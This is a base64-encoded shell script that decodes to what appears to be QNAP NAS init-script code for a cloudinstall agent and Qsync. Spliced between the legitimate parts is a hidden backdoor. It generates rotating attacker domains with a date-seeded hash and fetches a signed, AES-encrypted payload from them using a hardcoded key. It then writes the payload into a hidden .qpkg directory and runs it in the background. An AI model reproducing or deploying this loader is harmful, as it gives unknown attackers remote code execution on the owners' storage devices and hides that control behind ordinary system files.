VEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQp0ZXN0IC1kICIkY29uZmRpciIgfHwgY29uZmRpcj0vZXRjL2NvbmZpZwoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmVjaG8gJ2FiKmMnIHwgZ3JlcCAtRiAnYWIqYycgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KdGVzdCAiJGZncmVwIiB8fCBmZ3JlcD1ncmVwCnRlc3QgIiRSQU5ET00iIHx8IFJBTkRPTT0xNzY1MwpnZW5yc3RyICgpIAp7IAogICAgbG9jYWwgcz07CiAgICBsb2NhbCBtaW49JHsxOi00fTsKICAgIGxvY2FsIG1heD0kezI6LTEyfTsKICAgIGxvY2FsIGtzcGFjZT0iJHszOi1hLXpBLVp9IgogICAgdHIgLWRjICIka3NwYWNlIiA8IC9kZXYvdXJhbmRvbSB8IHsgCiAgICAgICAgcmVhZCAtcm4gJCgoJFJBTkRPTSAlICggJG1heCAtICRtaW4gKyAxICkgKyAkbWluICkpIHM7CiAgICAgICAgZWNobyAiJHMiCiAgICB9Cn0KCnZlcmlmeWZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBzaWc9IiR7MjotJGZpbGVfc30iCmxvY2FsIG91dAp0ZXN0ICEgLXogIiRmaWxlIiAmJiB0ZXN0IC1zICIkZmlsZSIgfHwgcmV0dXJuIDEKdGVzdCAhIC16ICIkc2lnIiAmJiB0ZXN0IC1zICIkc2lnIiB8fCByZXR1cm4gMQp0ZXN0IC1mICIucnNha2V5IiB8fCBlY2hvICIkdmVyaWZ5a2V5IiA+ICIucnNha2V5IgpvdXQ9JChvcGVuc3NsIGRnc3QgLXNoYTEgLXZlcmlmeSAiLnJzYWtleSIgLXNpZ25hdHVyZSAiJHNpZyIgIiRmaWxlIikgJiYgdGVzdCAiJG91dCIgPSAiVmVyaWZpZWQgT0siICYmIHJldHVybiAwCnJldHVybiAxCn0KCmRlY3J5cHRmaWxlKCkgewpsb2NhbCBmaWxlPSIkMSIKbG9jYWwgb2ZpbGU9IiR7MjotJHtmaWxlfX0iCmxvY2FsIGtleT0nN0Mwdks0U3pNTzE1ekJ4TEQ3WENpNWhiamdQMVpqa0onCm9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtayAiJGtleSIgLW1kIHNoYTEgLXNhbHQgPCAiJGZpbGUiID4gIiR7ZmlsZX1fZCIgfHwgcmV0dXJuICQ/CnRlc3QgLWYgIiRvZmlsZSIgJiYgcm0gLWYgIiRvZmlsZSIKbXYgIiR7ZmlsZX1fZCIgIiRvZmlsZSIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKdmVyaWZ5a2V5PSctLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLQpNSUlCb2pBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVk4QU1JSUJpZ0tDQVlFQXQvRURUNlNCNzVhdHJIVzdDcG9nCkNYcXJCTTJDVmJKbyc7dmVyaWZ5a2V5PSIke3ZlcmlmeWtleX0iJ2c0cnd3UycnejFCcDFpMScKdmVyaWZ5a2V5PSIke3ZlcmlmeWtleX0iJ0I3QjlXZDUxbm8zMmxwUnFPTSs5R09yMlcxN3h3SjhwcXBRb3RleApSQzVxUVNpUy83RlM0OGpzUEtzSm5yVWhuc0kxZlJMTTREcXNFRjNVT3VrWnVET1lVaGx0ZUR1TXFxWkJ6MEFDClEzWW5ManJhVGpjaE1GMFhtYUFBY1dPa2c1TXN4QU9LVGVwdWU0Ui90bnJQQWtBRzg2bnE1TEExK3dhN29wTlYKZ1F6d0RoN1lYaEJuV3o1MitlYlo5VGVxRDMxL3NiNWhveVVLZjFOcjVIY0tra2xPYnV6MU9HUUovL3BrQ2JUQwoyRW5RdzZ0Q1BRaGdTSUE4d0pLa2F4VzBmL1VIUCtZQm1XYTRXbit1UHJKSnVIU1ZORUp0QXAyd2xYM1RIbHR6CjBJR1BRRXV6b2FmT0FsM0VGamFzM0hjVFgySGxFZm52QXRSTDJpTHhKZWJhMW5aK1UzZ2VaT3V4TDFOaFdoTmgKcGphTGNLd2hrUmNrN1k1aHIxUHo4cExEblhzeDV3MFFVejZYUzhIVmYvS0huTlhIdWZGRW4wMXk5WW9QdWF1MQpETm5wREdicTYzMkJzOEVTZDN1ZUhrOU9ZL1VaeFdlTjNVZGJzZUZ4SzM1WEFnTUJBQUU9Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLScKCkRPTUFJTl9FWFRfQT0nY2YgdGsgbWwgZ2EgZ3EnCkRPTUFJTl9FWFRfQj0nY29tIGJpeiBvcmcgZGUgcm9ja3MgbXggY24gdG9wIG5sIG1lbiB3cyBzZSBpbmZvIHh5eiBuZXQgdG9kYXkgcnUgZmkgbmFtZSB0byBpbiBjb20udWEgdmcgdm4gY2QnCgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiCmNkICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlIiAmJiBybSAtZiAudG1wLioKCmVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCmk9MCBuPTAgYz0wIGVycm9yY291bnQ9MApvdXRmaWxlPSQobWt0ZW1wICIuLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpIHx8IG91dGZpbGU9JChta3RlbXAgIi8udG1wLlhYWFhYWCIpIHx8IG91dGZpbGU9Jy4vLnRtcC5vdXQnCgpmb3IgZG9tYWluZXh0cyBpbiAiJERPTUFJTl9FWFRfQSIgIiRET01BSU5fRVhUX0IiOyBkbwogICAgICAgIGZvciBleHQgaW4gJGRvbWFpbmV4dHM7IGRvCiAgICAgICAgICAgICAgICBob3N0bmFtZT0kKGVjaG8gIiQoKCAkKGRhdGUgKyVzKSAvIDEyOTYwMDAgKSlJYmpHT0VnbnVEJHtleHR9IiB8IG9wZW5zc2wgZGdzdCAtc2hhMSAtYmluYXJ5IHwgb3BlbnNzbCBiYXNlNjQgfCBzZWQgJ3kvQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVotK1wvL2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6YWJjLztzLz0vL2cnKQogICAgICAgICAgICAgICAgaG9zdG5hbWU9JHtob3N0bmFtZSVbYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldfQogICAgICAgICAgICAgICAgaG9zdG5hbWVzPSIke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldfSAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XX0iCiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiRob3N0bmFtZXMgJHtob3N0bmFtZSVbYS16MC05XVthLXowLTldfSAke2hvc3RuYW1lJVthLXowLTldfSAkaG9zdG5hbWUiCiAgICAgICAgICAgICAgICBmb3IgaG9zdCBpbiAkaG9zdG5hbWVzOyBkbwogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0IC1mICIkb3V0ZmlsZSIgJiYgcm0gLWYgIiRvdXRmaWxlIgogICAgICAgICAgICAgICAgICAgICAgICByZWNlbnR1cGRhdGU9JycKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3FuYXBfZmlybXdhcmUueG1sP3Q9JChkYXRlICslcykiCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLXMgIiRvdXRmaWxlIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBmc2l6ZT0kKCggJCh3YyAtYyA8ICIkb3V0ZmlsZSIpICkpCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRmc2l6ZSIgLWd0IDQwOTYgJiYgcm0gLWYgIiRvdXRmaWxlIiAmJiBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICByc2Ftc2c9JChvcGVuc3NsIGJhc2U2NCAtaW4gIiRvdXRmaWxlIiAtZCB8IG9wZW5zc2wgcnNhdXRsIC1wdWJpbiAtaW5rZXkgIi5yc2FrZXkiIC12ZXJpZnkpIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyc2Ftc2ciIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg9IiR7cnNhbXNnJXwqfSI7IHJzYWRvbWFpbj0iJHtwYXRoJXwqfSI7IHBhdGg9IiR7cGF0aCMqfH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGhhc2g9IiR7cnNhbXNnIyMqfH0iOyB0cz0iJHtoYXNoIypffSI7IGhhc2g9IiR7aGFzaCVfKn0iCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyc2Fkb21haW4iID0gIiR7aG9zdH0uJHtleHR9IiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0aW1lbm93PSQoZGF0ZSArJXMpCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiR0cyIgLWd0IDAgJiYgeyB0ZXN0ICIkdHMiIC1ndCAiJHRpbWVub3ciIHx8IHRlc3QgJCgoICR0aW1lbm93IC0gJHRzICkpIC1sdCAxNzI4MDA7IH0gJiYgcmVjZW50dXBkYXRlPTEKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMDAgLWsgLW8gIiRvdXRmaWxlIiAiaHR0cHM6Ly8ke2hvc3R9LiR7ZXh0fS8ke3BhdGh9IgogICAgICAgICAgICAgICAgICAgICAgICBmaWxlaGFzaD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtYmluYXJ5ICIkb3V0ZmlsZSIgfCBvcGVuc3NsIGJhc2U2NCkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZpbGVoYXNoIiA9ICIkaGFzaCIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgY3VybCAtLWNvbm5lY3QtdGltZW91dCAxMiAtbSAzMCAtayAtbyAiJHtvdXRmaWxlfV9zIiAiaHR0cHM6Ly8ke2hvc3R9LiR7ZXh0fS9zLyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIHZlcmlmeWZpbGUgIiRvdXRmaWxlIiAiJHtvdXRmaWxlfV9zIiAmJiBkZWNyeXB0ZmlsZSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIG12ICIke291dGZpbGV9X3MiICIke3RzfV92IgogICAgICAgICAgICAgICAgICAgICAgICBjaG1vZCA3NTUgIiRvdXRmaWxlIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICAoICggZXhlYyA+L2Rldi9udWxsIDI+L2Rldi9udWxsIDwvZGV2L251bGw7ICIkb3V0ZmlsZSIgPC9kZXYvbnVsbCA+L2Rldi9udWxsIDI+JjEgJiApICYgKQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkcmVjZW50dXBkYXRlIiAtZXEgMSAmJiBleGl0IDAKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICBkb25lCmRvbmUKCgppZiBbICIkZnJvbXJjUyIgPSAnVFJVRScgXTsgdGhlbgojIGlmIFFzeW5jIGlzIGRpc2FibGUgYmVmb3JlIDQuMy4wLCB3ZSB3aWxsIHRvdWNoIC9tbnQvSERBX1JPT1QvdWRwYXRlX3BrZy8uUXN5bmNTZXJ2ZXJfZGlzYWJsZWQKc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMoKQp7CglRUEtHX0VOQUJMRT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfSBFbmFibGUgLWQgIk5VTEwiIC1mICR7UVBLR19DT05GfWAKCU9MRF9FTkFCTEU9YCRDTURfR0VUQ0ZHIFFzeW5jIEVuYWJsZSAtdSAtZCBOVUxMYAoJaWYgWyAtZiAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIiBdOyB0aGVuCgkJcmV0dXJuCglmaQoKCWlmIFsgIiRRUEtHX0VOQUJMRSIgPSAiTlVMTCIgXTsgdGhlbgoJCWlmIFsgIiRPTERfRU5BQkxFIiA9ICJGQUxTRSIgXTsgdGhlbgoJCQlkYmcgInRvdWNoICR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1fZGlzYWJsZWQiCgkJCS9iaW4vdG91Y2ggIiR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1